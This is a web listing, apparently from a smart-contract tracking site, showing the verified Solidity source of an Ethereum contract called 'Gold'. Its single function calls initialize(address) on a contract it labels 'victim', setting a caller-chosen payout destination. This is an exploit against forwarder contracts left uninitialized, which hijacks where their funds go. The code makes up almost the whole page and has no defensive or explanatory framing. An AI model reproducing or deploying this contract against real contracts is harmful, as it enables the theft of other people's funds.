Gold

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Forward {
    function destination() external view returns (address payable);
    function initialize(address payable _destination) external;
}

contract Gold {
    error InitializeFailed(address victim, address destination, bytes reason);
    event ForwardingSetup(
        address indexed victim,
        address destination,
        bool success
    );

    function setupForwarding(
        address victim,
        address payable destination
    ) external {
        (bool success, bytes memory reason) = victim.call(
            abi.encodeWithSignature("initialize(address)", destination)
        );
        emit ForwardingSetup(victim, destination, success);
        if (!success) {
            revert InitializeFailed(victim, destination, reason);
        }
    }
}

Tags:
addr:0x4dbf205cf318340692bb0bc4b5759c7bc99193ca|verified:true|block:23606505|tx:0x9f0a8cd9984a4b50f54b56d0627aa048b4a6b19e3d0a03874b17d9f4ea3b326a|first_check:1760818040

Submitted on: 2025-10-18 22:07:21

Comments

Log in to comment.

No comments yet.